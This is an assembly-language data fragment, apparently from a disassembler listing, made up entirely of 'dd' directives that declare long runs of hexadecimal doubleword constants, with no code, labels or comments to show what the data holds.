		dd 0D9CB625Dh, 8F10C07Bh, 0B22CBA33h, 253C96B8h, 6C00F4E6h
		dd 0ECB1ED2h, 33474Dh, 0F5807FC0h, 45329EFDh, 0F455F01Fh
		dd 0F6D03EC0h, 24047A2h, 25C6901Eh, 0B880AE17h,	10A630EDh
		dd 7AE60900h, 0EEC0DEABh, 953F074Ch, 101291D5h,	0F3FA69DCh
		dd 439F500Bh, 737806Fh,	123D6D4h, 0F5714C34h, 600CE01Ch
		dd 0EB009D47h, 0F658CAAFh, 14EA5344h, 0C2F57D91h, 5BC22303h
		dd 0EE884FFBh, 4800F295h, 0B86308F8h, 7A6C09h, 0A536A911h
		dd 5DFEFC8Ah, 0F771E217h, 0B09E940Ch, 4B7962h, 15D887DFh
		dd 1D7254D6h, 0A8C71300h, 0E517EF33h, 0DE110051h, 1E0A0E0Bh
		dd 941CE901h, 8241553Eh, 8A37E371h, 35F020D5h, 5D331B30h
		dd 62C8F078h, 6001CD61h, 92EA80FAh, 0D09EE176h,	0F7D26Ch
		dd 0AE5F481Fh, 800A393h, 0F4D9A9EDh, 2D5580h, 0E8FB25Bh
		dd 3FACBAA8h, 753F367Bh, 4A8D0074h, 0B29EE7E9h,	3D400041h
		dd 50E1BE57h, 0B704F6CFh, 0A08C6927h, 949B0490h, 75563838h
		dd 0C9DF1007h, 0AC43A025h, 0A100B9C3h, 0B63EE01h, 728070E5h
		dd 1D0F004Eh, 3C34E0AEh, 0D700B812h, 0FC1475C5h, 164FCBF1h
		dd 1578CE62h, 6A0C4013h, 76D9F5C6h, 1DD38A48h, 421D9A70h
		dd 0B26AFC05h, 0F4781005h, 0A0681C00h, 0C36241D5h, 7E207508h
		dd 707C1878h, 91102300h, 0CA6AAC72h, 297F0374h,	0EC26C833h
		dd 0DD024100h, 0EDB2D470h, 2C9A020Fh, 6449F099h, 0F8282003h
		dd 1F5D16CAh, 1495C1E5h, 1E000C78h, 7A3407AAh, 0DB00E7DAh
		dd 0EFB1B9E5h, 429A35h,	50E2F9F7h, 0A89D0CDEh, 61D238h
		dd 0A0F6D9CFh, 1831E726h, 886DB9F7h, 8202C77Dh,	0A508B05Ah
		dd 2854E097h, 179800CCh, 0A08EA450h, 900B3ECh, 0EB820D90h
		dd 0DAC8C1h, 0BC0F7FBDh, 9E3D5007h, 0AFB0AA00h,	0EB3BBDEh
		dd 0F8F51890h, 77B304Dh, 893F5200h, 8AF2F149h, 5A9300FEh
		dd 0EED243CEh, 4ECF93Ch, 0D800CDECh, 0A9D4BEF0h, 0E7F138Eh
		dd 988B3890h, 64A03FAEh, 0D4D0C987h, 20001AE4h,	3E01D8DFh
		dd 0EF83C14h, 0FED3FD22h, 1F7C0240h, 820052BCh,	80967B32h
		dd 7B68385Ah, 2E000B7h,	419EBF3h, 5000F1C5h, 1B16DA14h
		dd 1CA74CFAh, 84F09B89h, 929E4F85h, 4B69D44h, 0B4149952h
		dd 10EC042Fh, 10F1C330h, 7CED8375h, 8F42121Ch, 4478001Eh
		dd 734F1F9Ch, 3E87103Ch, 0A5760CD8h, 846B29EFh,	42210E22h
		dd 0F08E119Bh, 111FD711h, 0EF111B70h, 647D4C51h, 0F23D329h
		dd 42C348CCh, 0BF24E670h, 12182621h, 0E8CA13D7h, 22201B22h
		dd 2B221559h, 0FF9E2252h, 72210724h, 103F120Ch,	1D410396h
		dd 5CD10D2h, 6F081389h,	0EF51F465h, 6FA5004h, 64426748h
		dd 44B25F6h, 48098414h,	0F903427Bh, 9B403724h, 0D07ADD46h
		dd 156DCF00h, 4B8C71E9h, 0E03D079Fh, 90EBBB5Fh,	7BAC6E19h
		dd 5CDF8400h, 95F6E78Eh, 31B3012Ch, 0C99A7FEEh,	607BE866h
		dd 7CA1082Ch, 0DC6DE00h, 17988E13h, 7AE840h, 0E599160Ch
		dd 0F20164BEh, 5AD7F871h, 846437ADh, 0BA0501EDh, 79CC8297h
		dd 4F96F0EEh, 44E8FE1Dh, 0DDB419C3h, 0D7101D4Dh, 0ED9280A3h
		dd 7BAB7464h, 40D949h, 0A679F169h, 3EBB83E3h, 0A11619F8h
		dd 388106E1h, 4A0010F7h, 0C905574Ch, 245D9013h,	9F60A9E6h
		dd 80D02C02h, 3020D4BCh, 0C500AA3Eh, 0E706A3BBh, 5CACC2ABh
		dd 0E9006468h, 40C9F2F3h, 0DA7BDEDCh, 0BBEEFD1Ch, 0D0712C5Fh
		dd 1CF1F28Dh, 0F0C89C70h, 613A0098h, 1A59DFBBh,	0F5731851h
		dd 58E2D0C5h, 0A594A090h, 0B1573AC4h, 6C9F6F80h, 0B504275Ah
		dd 734A9503h, 0C0BE8F92h, 0F7AD7928h, 1CA860FCh, 44577075h
		dd 0C0A7C78Dh, 4E9D18C3h, 2DE31000h, 0B78CCD69h, 0EEB90045h
		dd 438B9085h, 9D01C8ADh, 3FFB1375h, 8C713602h, 2005D6C4h
		dd 2B7BFD97h, 0E08ACD00h, 0F9A61DFFh, 5BBB00A1h, 6FD02D2Fh
		dd 6103DBCBh, 6BBC7EA9h, 0BE2CC874h, 0A6060357h, 0FE41A2DCh
		dd 36D98AD0h, 0F08BE604h, 0AE0599D8h, 94B400F6h, 3B3D51A9h
		dd 85D73E00h, 0B2546B7Fh, 62970009h, 116A3CE2h,	0C0F2AF3h
		dd 0C0149626h, 85E5A8DDh, 0B3F0A8A5h, 475D09B4h, 8500CC74h
		dd 93E3B102h, 9AF88854h, 0A2A79C3Fh, 0A5F12818h, 59BDFA87h
		dd 9B0E2080h, 56C0C03Ch
		dd 8869ED4Dh, 0BF11F900h, 0DCF75E32h, 1609076h,	60DB4096h
		dd 2172E8CEh, 1FCFF446h, 70012D00h, 461154FAh, 0EC50EB0Fh
		dd 331A98h, 10DA99A0h, 3D45A3BDh, 0FB734C00h, 0D247ED36h
		dd 6C4B009Eh, 863ACBDAh, 8F008E75h, 45953D06h, 7631F8FDh
		dd 4BFA00C7h, 0E4D4CF94h, 8003FBB3h, 97DE7AD2h,	0D5C00088h
		dd 30627FEFh, 7B00B657h, 0B15540ABh, 88ED01h, 0BA53355Dh
		dd 0A2B01677h, 3E47A41Eh, 5C9C8DC0h, 0D16275h, 49AAA6EFh
		dd 0C65F2508h, 0D0E7E900h, 718FBFF6h, 17780056h, 2FDFC8DAh
		dd 3D540F12h, 3A006098h, 36E586A9h, 7AEE5109h, 25400079h
		dd 13A76EDAh, 62704D26h, 8C782A00h, 3C32B42Ch, 8B1A1453h
		dd 0FF07946Fh, 0F0D6E2E3h, 15F23724h, 3560C300h, 574B39A0h
		dd 1E71EC4Ah, 40F68FF9h, 0D0623641h, 79017CD2h,	0C5E38D7Ah
		dd 25E07BE0h, 60491D0Fh, 0D9CA405Dh, 301EBFABh,	2F90FF50h
		dd 9EA27C1Dh, 46B47A40h, 9AD015h, 0BC52B3B0h, 0E354B0Dh
		dd 97131900h, 0C3CC4358h, 21E20328h, 0CD8996D5h, 5F201004h
		dd 94C0AB2Ch, 3B63AA92h, 0FA800AE7h, 5DC00CFDh,	72C0223h
		dd 0EE0084F6h, 0BBA5506h, 0D8E00D0h, 8BA439A5h,	601205FBh
		dd 24C00EDFh, 774512Ah,	0AEC13B20h, 45F970CBh, 80FAED56h
		dd 0C3051E09h, 7230A0F6h, 295A9D15h, 0C445E7h, 44515514h
		dd 690F7B1Eh, 0EA9CD496h, 8A00B065h, 0C20B10F5h, 0C4B30006h
		dd 264DAFB2h, 330127F8h, 3F8EB0B8h, 0FEFC402Ch,	0D5D90314h
		dd 1C93CD91h, 8BF864A3h, 881FD76Ch, 65009542h, 0F263762Dh
		dd 79DD0081h, 2AC28CDFh, 100077DBh, 0E573CF21h,	15D0F49h
		dd 68E8FAB3h, 619623B2h, 7683C4AFh, 0EB0092E8h,	1FACC4F9h
		dd 0CA9C93h, 6AA4BF20h,	0B1B5CCA3h, 0A8408004h,	0D0C07557h
		dd 3FFEC79h, 36C314F5h,	8CD0480Fh, 0F17065ACh, 0B71A0100h
		dd 10B3133Ah, 0A34C0063h, 4134947Eh, 9900EE15h,	42665075h
		dd 2DC68ADh, 0F75222FAh, 29C0E8F9h, 48008874h, 0B19F3FEBh
		dd 39425440h, 0D104A693h, 0C3201E4Eh, 9B8D4E4h,	9402A3FFh
		dd 0E154ADBAh, 0F43C608Ch, 0C74C5879h, 53213700h, 5E1D3489h
		dd 2F508600h, 0C5964982h, 0EEAA60BFh, 0F8FC2C11h, 36088300h
		dd 9DF4B16Bh, 4FE01F2Ah, 0A3B20060h, 0D3AA8749h, 0F43A800h
		dd 0E2ECAD44h, 52880016h, 0BDAF6048h, 9700A551h, 32F8E350h
		dd 1EA6DE8Ah, 406DC97Ch, 0B066BFCCh, 5A079FBEh,	0AB1FAD02h
		dd 0B820F883h, 98CE7015h, 5C010E5Bh, 45A02214h,	90C7EA53h
		dd 0F43AF102h, 61D97DEBh, 1606FB8h, 8C4F0F48h, 0ACCE9DB5h
		dd 86D739C2h, 2F954060h, 0F1224000h, 6B3B7696h,	71140081h
		dd 1D492CC1h, 7A0092F6h, 626FD637h, 1FFE07E4h, 805CCD1Ch
		dd 0AF91A236h, 93FEA66h, 0FA1FB2C8h, 7F4060E8h,	56312C4Fh
		dd 0AD0E00CCh, 0D52933DBh, 0BE446300h, 0B0F33766h, 90540AAEh
		dd 80D4BA0Fh, 0ABC89297h, 7F501F6Ah, 54007AD0h,	0E7581D73h
		dd 0F4C195h, 2B268D92h,	47B5A912h, 549D4B00h, 2072311Bh
		dd 92150055h, 10D36887h, 0B13F9544h, 487A0071h,	8EE2D040h
		dd 38E1C0A8h, 836B8426h, 311D4F74h, 0C480D220h,	1F6F927Ah
		dd 72870034h, 815D710Ch, 0DCF31B33h, 9400C6EAh,	0F96E733Ch
		dd 3A1C338h, 0FE351F53h, 80C436E0h, 0D5AF66FCh,	4EB6C400h
		dd 357B2F93h, 43F3241Dh, 9C6A0028h, 0F74AFDDEh,	95B7EF00h
		dd 0C354F84Fh, 0E9CCA085h, 0EE9300FBh, 87CAA344h, 0BDF40C9Fh
		dd 9CF8D504h, 10F04959h, 0B6A4002Ah, 51321C18h,	89E67081h
		dd 0E3E54600h, 3C3DAEBAh, 9A5B1E39h, 11CC689Dh,	1652BBBh
		dd 11E97013h, 0E8D4D2C5h, 4B410h, 28CCDCBEh, 38000A98h
		dd 5CA91DABh, 7E53FEFh,	3E2F8EFEh, 2E9B726h, 0D48035C1h
		dd 58700B7Dh, 941958h, 0F33B6C2Eh, 0F0F0E5CFh, 17B100BCh
		dd 7B1C7210h, 3CF0EEB6h, 11EC0205h, 73BC0B63h, 5290D500h
		dd 950F064h, 0C8E9902h,	60AD0A2Fh, 1FF42AACh, 14DBCEh
		dd 29C2E696h, 0B7B03431h, 0DF032713h, 0DE603100h, 0E40B261h
		dd 2541D244h, 4880F209h, 0E6F412C7h, 266BA01h, 70FAAFEh
		dd 3FD32470h, 0E88074CEh, 0A14D8677h, 641E2419h, 1740E5B7h
		dd 318A73F3h, 94250E06h, 427DF7ECh, 44ED2EB0h, 9800A450h
		dd 0DBF01E2h, 5C607814h, 16009897h, 8E13261Fh, 0EA0188AFh
		dd 15367B22h, 20809F96h, 0A06286ABh, 1959DF3Ch,	0F5D50000h
		dd 0A5B75830h, 88AD0059h, 0D83F383Eh, 6C017E86h, 2AD053DEh
		dd 28606E4Eh, 15C9833h,	0CA27236Bh, 0EC0672E0h,	0C60030F2h
		dd 78668726h, 0EEE01A6h, 2022FF38h, 7CF5F600h, 9558184Fh
		dd 36270005h, 9AAFE0EFh, 3D78037Fh, 2F746530h, 0A216AB8h
		dd 6B0075F8h, 5B7C5E17h, 70FF6FEh, 33A331C2h, 1D3AF097h
		dd 7028094h, 0EAE7C1FCh, 0AA4C0F9h, 1679006Bh, 89B233A8h
		dd 483C1E01h, 746A80E7h, 0AE2FAB1Bh, 8C46016Dh,	0FC56C518h
		dd 5DC6852h, 0C708FA69h, 179AEC20h, 65C830D8h, 0A9935EF8h
		dd 417E211Ch, 795906C3h, 0A171E0EEh, 0EAB4716Eh, 0E4AA00A4h
		dd 77C967F4h, 600B11C4h, 985521h, 8F1E4020h, 7FD30E5Eh
		dd 401DE597h, 48A9AA08h, 0D103EA5Fh, 734D417Bh,	0D39A9B69h
		dd 0D046AB0Bh, 38CFFE0h, 78EDF6CFh, 11961968h, 0BB25E4EBh
		dd 5D849702h, 70C435B9h, 0DF1200B4h, 7F651883h,	59004571h
		dd 0B581DD52h, 3E86733Bh, 3900431Eh, 5CA3DF1Bh,	0C0F658Ah
		dd 0C0D3D814h, 7DA4BD32h, 10D760ABh, 1C7091A5h,	61CFDB03h
		dd 91780E1h, 0A3CC5769h, 0B4C0A8A0h, 0A700D21Ch, 36499786h
		dd 90990C7Ch, 0CABA12D2h, 80F8014Dh, 0DCCE8B62h, 4B7ED40Ah
		dd 2BEE3Bh, 506A5DD8h, 486CD38Fh, 3C001F3Ah, 0D0708BC1h
		dd 3405025Ch, 4CE8F1A8h, 387658C0h, 2E3A01ACh, 307EEED9h
		dd 0C89DCCEFh, 0C8E983Eh, 7C31CC21h, 8F90079h, 0B5E10D63h
		dd 9703F720h, 6D696577h, 0D8E3CB8Eh, 2B21D3Eh, 2A0AC68Fh
		dd 0C8509F7Bh, 3A69D900h, 0E4E6E0C8h, 782D00C1h, 3A7684Ah
		dd 9400E89Eh, 49DFDDFBh, 198E93DBh, 0E83B2E86h,	0B011C0A3h
		dd 0E4AD0700h, 6F1D5191h, 0F6D00A6h, 74C1D383h,	150046AEh
		dd 0E034100Bh, 0A264FEh, 6FBCA6F8h, 19DC41A3h, 6D43E200h
		dd 2A17849h, 0F2FA03A8h, 596B1266h, 99E34C90h, 90865800h
		dd 0C65F1B93h, 0B579392Fh, 34AAA100h, 2BB77BAFh, 309E672h
		dd 77C84DAh, 1BA18DB3h,	82C872C3h, 4A8807D3h, 90F13578h
		dd 603B6391h, 58DEBC0Bh, 1B1D0215h, 9EF860CCh, 0F86C012Dh
		dd 0C53F23ECh, 91A4201Ah, 1623500h, 9237DBB4h, 6DC70603h
		dd 0FEAC31ADh, 0AF998B00h, 0F34FD130h, 111CA83Eh, 3F620216h
		dd 79BE9D03h, 0FCB51C40h, 329B0100h, 1C5BCE69h,	4E7A0Dh
		dd 9FD4BA65h, 0C7220E70h, 9884F22Ch, 8AECFE80h,	406B99h
		dd 0E4EFFB0Ch, 0A7BA1E41h, 0F193C500h, 0A4D1AB63h, 203B00FDh
		dd 82A96FCAh, 41139DC3h, 86004A44h, 76892BC6h, 511200C8h
		dd 0DB621FCEh, 970028ABh, 0C3CF2A59h, 1C816CB9h, 971A4A6h
		dd 3485A2E7h, 0D790C202h, 8C237540h, 543E6307h,	0C070DF79h
		dd 7E8965Dh, 785122D9h,	8D660091h, 90A8AF87h, 0A3165FC1h
		dd 65003042h, 2684EC3Ah, 759018h, 0C351F7F3h, 95621504h
		dd 3E3B1B0Fh, 0EC928EF9h, 4CB35075h, 30F7436h, 9AB65B2h
		dd 8EA5ED83h, 49A42100h, 55638A2Ch, 7A200BAh, 4E5044F0h
		dd 5BF23848h, 0A5C35C1Bh
		dd 4B57B819h, 0FC09393Ch, 69911902h, 0ABE0A4ECh, 60192F0h
		dd 175D256Eh, 6CD0044Ah, 0D1F50021h, 0EEEFE5ACh, 30ED426h
		dd 0AB9C8157h, 7EC30082h, 3FA297DDh, 5B003037h,	0FD66393Ah
		dd 60009FAFh, 562968E7h, 7B3538Ah, 2045B6ECh, 8028C0D6h
		dd 0BF00B03Eh, 37C256DEh, 1ECBC514h, 0C0A24B9Dh, 9B447F92h
		dd 8098CE1Eh, 0EB8083FCh, 775600D8h, 0E6890616h, 5D17B4C3h
		dd 201E73DCh, 7FF19442h, 164CD8B6h, 1538FACh, 8798C604h
		dd 0D11834F7h, 4069900h, 19F547E4h, 0F4ED389Dh,	0B3AF5200h
		dd 6133EA42h, 48444Ch, 0DBC6BBF7h, 48697A96h, 0E029BCCh
		dd 171BD0ECh, 2A494461h, 8ADF0405h, 16B7C87h, 0FE910ABCh
		dd 60DBF1E4h, 0B60D2816h, 3B00C7D9h, 6FEF041Fh,	38668Eh
		dd 0C306067h, 0F83EE28Bh, 0F3AA3500h, 54B77C42h, 0B8160058h
		dd 0BBA267D7h, 780E0D3Fh, 60BF2245h, 0F39F91BDh, 143A0379h
		dd 0CF511549h, 0D87796E8h, 70B57103h, 0A3CB3026h, 9062C8DEh
		dd 0CE5F009Bh, 5C148CC5h, 0ACA07FA7h, 2F00BCA9h, 0A6934506h
		dd 71ED775Eh, 0C11500FCh, 874A1130h, 0E200A2AAh, 543B9240h
		dd 1FE504AEh, 0C05D4570h, 319680A5h, 0D05185Eh,	0EC82D30Bh
		dd 47989080h, 594B1385h, 0E7A00075h, 223D801Fh,	1E41E4Dh
		dd 8EB0F13h, 43FCA796h,	0B5FB0060h, 2E1DFFE1h, 8107189Ch
		dd 0A53F7571h, 0C0E4E32Bh, 1EDD754h, 72EABACh, 60A48540h
		dd 0D827596Eh, 0BE081F8h, 0AE8208CBh, 3C8C76BBh, 0E20586E0h
		dd 5E488D18h, 76F2B4B9h, 0BB1DC3Ah, 4C186CD0h, 0EE816A50h
		dd 78E606F1h, 913F0094h, 0E662F3A0h, 59001705h,	28309C23h
		dd 0C02FB504h, 828F92D8h, 0D6007B6Fh, 0ABBE8A47h, 9935558h
		dd 344191FFh, 6042D4A6h, 69868800h, 0E305160Ch,	5CD7008Ah
		dd 0C4A34AFAh, 9D012198h, 6FFF2318h, 21704CC0h,	4A4D24F6h
		dd 0B5C9007Dh, 0D981FEA4h, 778ACF00h, 1002F133h, 0D272B9h
		dd 183DC9D1h, 0D7CCCA9Dh, 7FED4C00h, 0B613FB72h, 5A140335h
		dd 68B2A90Dh, 0CA4E1C0h, 98C8AC30h, 305797D2h, 0DE403C48h
		dd 0FF00B320h, 8AB29AB8h, 12254566h, 6B31D5h, 7D155388h
		dd 0CA001CA8h, 45E0761Eh, 786248h, 0F4ACA673h, 50F3EB14h
		dd 0D8B0BA00h, 1C35463Ch, 8C0A1842h, 4F4B39B5h,	780050F2h
		dd 0E78A0517h, 62C3C8h,	0F6C79AE1h, 99625C0h, 692ED807h
		dd 0FA71226Ch, 0BC402AE2h, 74888D90h, 50891E6Dh, 0B92100FBh
		dd 9A806633h, 29B6C900h, 0FFABCA75h, 3854008Dh,	3B9CE75Dh
		dd 4600321Ah, 6B35F9F1h, 0F8CACFh, 73073F4Fh, 8017D050h
		dd 1407D48h, 0AD979431h, 2F30EB6Ch, 64C500FFh, 98993D65h
		dd 0F2F2D1B8h, 0C88ACA00h, 367B93FAh, 187D004Ch, 4E21C56Dh
		dd 0CFB81F08h, 0B3744002h, 40EF0AFAh, 178FC040h, 82F24C2Ch
		dd 18E0949Ch, 0C3048B7Bh, 9336D99Bh, 8D1E30B8h,	3CF5409Fh
		dd 1AFFB1DFh, 87679D00h, 597CB768h, 0CDA20041h,	965B4FC3h
		dd 0F72E644Ch, 7D00C89Ch, 1DC9E283h, 25EF1CA4h,	897100ADh
		dd 0E00D8F32h, 0DBCA3B00h, 0D27A9895h, 77A704EDh, 0C09F3A1Fh
		dd 7E21B5ACh, 52256500h, 0A514AC7Ah, 68080231h,	0DD588F9Dh
		dd 0F55CF3C0h, 0D26D3E00h, 0BCD9D51Eh, 11EB60BDh, 0F53542A0h
		dd 0C77A9200h, 0BFAF21E5h, 0E75A0F0Ah, 4A0074C4h, 7F5052DBh
		dd 22AE101h, 0A9438128h, 0EAC4E831h, 832C01C2h,	787DBCA7h
		dd 92E868B2h, 6775AD06h, 186A00BCh, 0B85D2F8Fh,	0E37E5AA8h
		dd 249959h, 97105E09h, 39DF2134h, 9307818Eh, 90E1D36Ah
		dd 522C08C9h, 0EBF49712h, 81998482h, 2602A39Fh,	66C4C983h
		dd 0C001D1BBh, 6AAD9013h, 9040B405h, 331CD45h, 5524E88Bh
		dd 792594C3h, 798E76Dh,	73FB85A8h, 7170E40Ch, 368EC712h
		dd 12900441h, 5FF00431h, 3D40EE7Bh, 588011E2h, 1A2568CBh
		dd 850EC2C8h, 0A03CAC70h, 0A637789Ch, 20DD31F0h, 647943B8h
		dd 8AF8178Ch, 0F7B43251h, 0DE7F7AF8h, 13017038h, 10A180DFh
		dd 156C7986h, 3500F11Fh, 515D81BAh, 1D5B4A2Ch, 1424DAE2h
		dd 4D02CCF9h, 819AC8F0h, 825A5041h, 8DCE0841h, 24F4F87Eh
		dd 17D563Ch, 0DC8E0BB9h, 234E4A1h, 0AD490E01h, 69ECBF2Dh
		dd 63D65BE8h, 0BD18AA88h, 5A9FC5C0h, 0B6275400h, 0A56BBBAEh
		dd 0BE581550h, 7224AC3Fh, 0E085076Ch, 95755090h, 0CD028ECAh
		dd 0BA19E18h, 0CFB8A019h, 6BDBFA73h, 6400A166h,	56398F54h
		dd 8058793Dh, 4FF9BD8Eh, 6B99CDh, 0EB02AB83h, 0CC30F1F4h
		dd 120B6E1Eh, 0F98EB400h, 48BF8194h, 1C00CE36h,	5A73AB61h
		dd 9771FD58h, 5DCAF100h, 0FBE40BA0h, 8F600020h,	149021FEh
		dd 300DE26h, 0E3E57D54h, 30DB50h, 7137DC05h, 4CF6F818h
		dd 0F3EACA00h, 527FCF90h, 287C68h, 620C2A39h, 0D8C827EDh
		dd 306EACA8h, 2B424Ch, 0E2C03809h, 0F0ECFBh, 173FD665h
		dd 10F6D06Ah, 7A099CB8h, 7B0DF1Fh, 9E809789h, 14967E3h
		dd 0EFF4DE8Eh, 0D092FACFh, 560078DBh, 8996D451h, 5E9D1544h
		dd 0F280021Fh, 58609222h, 5A049AE9h, 0F5E0E46Bh, 95B84E0h
		dd 0FECCEA95h, 8A0C88Eh, 0F29206DBh, 0F547213Bh, 962BE800h
		dd 4C3E948Eh, 913007Ch,	0FAEC476h, 0FD047A7Eh, 1D9FB95Eh
		dd 227C48E0h, 0BA0BA0CCh, 48F421CDh, 54896E9Ch,	2228496h
		dd 578E59ACh, 60C073C2h, 2F019A21h, 3A1C3240h, 502C1BF8h
		dd 1E0F011Fh, 461E726h,	34402A4Fh, 0CC8751FFh, 0EA4700F6h
		dd 85E9FD5Dh, 24134376h, 0B4020FB5h, 60739C62h,	986B3B10h
		dd 8A9401F5h, 8E010B64h, 56E3E4DBh, 43FC82B8h, 0AD7B587Bh
		dd 77E0C302h, 0FA2EB03Bh, 7E40720h, 0B083DE19h,	0C0FE6F26h
		dd 7CE8F803h, 0B1E706A2h, 6A70D1EDh, 0E6C28FBh,	5A7A009Ah
		dd 19C1B450h, 0C60773E5h, 2D168512h, 95836F00h,	0C590049h
		dd 818FD506h, 0E7002275h, 7C2AB3Fh, 2CC8A3Dh, 0F8310FFAh
		dd 8080EF2Fh, 72D52E33h, 65D7C800h, 847A01ADh, 45970743h
		dd 10D377D8h, 0C4661169h, 0D78C7303h, 4F8634h, 29BB2492h
		dd 0E1827806h, 73EE5E0Eh, 1900B58h, 5FEB654h, 2E006069h
		dd 776D0F48h, 1E1EC06Bh, 0F280C633h, 1568636Eh,	62597Ah
		dd 80E1004h, 0CBD490ADh, 0C07EEE87h, 0AF604901h, 6483C792h
		dd 0FD861DAh, 9D9E1424h, 0EE6EB898h, 81848C07h,	25B0321Eh
		dd 3BBF70FFh, 685C03F7h, 0DAD43C60h, 0EC0085A1h, 0F6CD1437h
		dd 82D0C5h, 1A4BB119h, 0DDC087EBh, 0DC5A9800h, 70954234h
		dd 7F670032h, 9BB5C697h, 930013A0h, 362A8CB0h, 7CDF1ACDh
		dd 0FCE13EC2h, 0A500A3BDh, 9E1BF9E0h, 1600DE3Fh, 40865A68h
		dd 49186725h, 57006002h, 6EF07B78h, 615D061h, 1F8076CFh
		dd 0E4DE0E24h, 5B1F3F81h, 6C2BC1h, 18DCD900h, 0EA6642E3h
		dd 31DF490h, 3EFBA7h, 1AE92E6Eh, 5C55E2BCh, 4300BBE4h
		dd 97183F3Ah, 27005B32h, 0E06C60A2h, 1636B7E6h,	5D0BF2Ch
		dd 900BDA24h, 35D2918h,	0F4883126h, 0BBEC5100h,	9FAC7E14h
		dd 260EC01h, 0F6C6056h,	0E05C8C2Ah, 48181A0Fh, 38108089h
		dd 25A070Bh, 6F2BF48Bh,	0ECCCAF9Ah, 360017B0h, 7544E086h
		dd 4606CA2h, 0B34CC0E6h, 0D8FC8095h, 7C12A78Bh,	0F8E0CC1Eh
		dd 6FF02CBAh, 0C92200F9h, 0AA782505h, 0B5A7F800h, 0AC2F606Eh
		dd 0FC204DF5h, 0D0DFFF00h, 6F062C24h, 9E700378h, 1A4A1C00h
		dd 7CB2BB28h, 0EA5A2A93h, 0C3200BB8h, 4009ACEFh, 6800A893h
		dd 8B592909h, 7482E74Ch
		dd 2B6E026h, 4D39BA1Ah,	8189D69Ah, 0F8EA90DAh, 2B906A00h
		dd 9F812141h, 3078B8CFh, 7569968Ch, 0FD4BB90Eh,	0D5B3AC80h
		dd 885205CDh, 8469DA98h, 816CC04Ch, 0A14C94DCh,	63D500C9h
		dd 38C3303Ah, 0D0450F83h, 2B25ABC9h, 50D49715h,	4C477FA5h
		dd 0D3EE3913h, 4850EC0Ch, 0B2DD007Eh, 0A5EF1C68h, 38593AACh
		dd 2A4E00A0h, 0C0B9A07h, 0B75B00F0h, 4BE2D7B5h,	0F20B27ADh
		dd 0EC546Ah, 0DC3DCC60h, 2F300039h, 0C3EA5FE5h,	3E4A4617h
		dd 0D0E76C82h, 0F995089Ch, 83BD5123h, 18F5D6EBh, 9EB6988Ch
		dd 0CA8601ECh, 88D9DB17h, 0A58FD047h, 0DC5B4100h, 373FE959h
		dd 0C0CC92C3h, 0B5D0C6D9h, 0AC4972DBh, 58E92EF8h, 18F3DD01h
		dd 4824A85Ah, 0BD403A87h, 0CFEA8A1Fh, 70A034C4h, 69A73635h
		dd 0E5163Dh, 0DE61577Eh, 76F1ED3h, 9E7F5FF3h, 435DD378h
		dd 0BCE5E800h, 442366D8h, 0AF1E1821h, 81A4D8F0h, 0B0A5D905h
		dd 0F8C0894Ah, 13DAB672h, 61E9E51Eh, 0E71C7940h, 80EDE487h
		dd 0C5D2CFCCh, 0F065851Dh, 0F8E1C806h, 0DF1E02BAh, 0A83D3A3Fh
		dd 0DD07C8F0h, 2871EBB9h, 0A8DCCB13h, 636453A1h, 0E70C21EEh
		dd 942CC888h, 8A4E60F5h, 0E997BE00h, 11F9ECF4h,	9E7784Ah
		dd 8D452CDDh, 4B7A4821h, 343C2455h, 6094FA02h, 5CAB4270h
		dd 59C30464h, 1B0897C1h, 3B238810h, 0FD00DFF6h,	94EAF31Fh
		dd 5839A524h, 2061B054h, 6011D4C4h, 3C00828Ch, 311F7F53h
		dd 3886D3C0h, 92BB4D98h, 5151180h, 4A5820E2h, 90070774h
		dd 513FACBBh, 0A880ADC4h, 1F95E0BFh, 3A5D3055h,	0FE08E680h
		dd 0FCEC6FC1h, 0B80E7Ah, 0DC00F773h, 6129B0BFh,	70286A03h
		dd 83EC1D25h, 0B7194079h, 84AB9204h, 56E83727h,	20490011h
		dd 71FC5A08h, 0BC424C00h, 3BDDC206h, 9220047h, 7344805Ch
		dd 0C81238B9h, 93074E96h, 6870E1E9h, 5370BE8h, 485CB5F3h
		dd 1510C08Dh, 0B200E501h, 9285D703h, 24F3C18h, 0A6C33A7Fh
		dd 0BC809887h, 32CFC025h, 6678004h, 44C0BBCBh, 0BD1201h
		dd 63852DD8h, 0A066C70Ah, 57D4F200h, 0AC3D2C6Eh, 12C5008Ch
		dd 0DAF6E022h, 74047859h, 0F9D9D62Fh, 5FEF2880h, 0C42095C1h
		dd 2E1ECEBCh, 14EAD700h, 71295D43h, 46F8A898h, 0DE360308h
		dd 0D818940Eh, 245DF199h, 2EA060Ch, 0F31B7000h,	9D99DA1Ch
		dd 791973E4h, 0D1D254Bh, 54A60E0h, 2E3FCFE4h, 1ED8813Eh
		dd 2C956678h, 4D46971h,	14612E45h, 43B50F0Eh, 0AE8A7h
		dd 803B2DC4h, 0CDF188C0h, 7982641Ch, 5A8F0372h,	9FC53D36h
		dd 0DBFB7BD8h, 448A7E02h, 486D4831h, 7FDA2E8h, 3909F03Dh
		dd 341A9272h, 2000C070h, 3F8C5816h, 46E082h, 14F0A296h
		dd 8935609h, 9CC0CBECh,	0FA861977h, 0B4F627E8h,	6B02F060h
		dd 0BABFFF00h, 0B6132CA0h, 0A822956Dh, 8055B2DCh, 0FCCDEDCBh
		dd 0C37D0998h, 98C0A019h, 0F8484145h, 0A9F60094h, 77AA6018h
		dd 5F710069h, 51EFDFD2h, 23050D2Ah, 163E5D76h, 0DDA9F091h
		dd 4F18093Eh, 7F3C3481h, 166462D4h, 0CC0014C8h,	10265C33h
		dd 7E2B1341h, 0B6688CEEh, 2180B159h, 0C028A692h, 0B1BB5435h
		dd 0DA0A7201h, 0AE52F0C3h, 0D9CC4C2Ah, 4A028878h, 30CC3DE9h
		dd 0AC5018h, 727367EEh,	5ABED7Ch, 0DEB6910Bh, 0B4A02006h
		dd 0C11D8Fh, 1A301BAFh,	0BE6DD6A9h, 0C053324Bh,	48FE825h
		dd 69F36077h, 4FBB2510h, 81F98500h, 3DB96E8Ah, 0FC3401FEh
		dd 508DC3CEh, 0CBC6787h, 411C4CD0h, 0A14E005Eh,	0EB4783AFh
		dd 81EA92F2h, 0BFCD4F6h, 1A07610Bh, 35702210h, 98472698h
		dd 67C40802h, 80EE4858h, 0F020DEC8h, 0F1311832h, 153E6847h
		dd 0EF089C0Bh, 19E48110h, 0FC30FFC7h, 0D4B8277Ah, 37754810h
		dd 0B355A67Dh, 2C74FAC8h, 0E800C422h, 183A12EAh, 7A44F9Eh
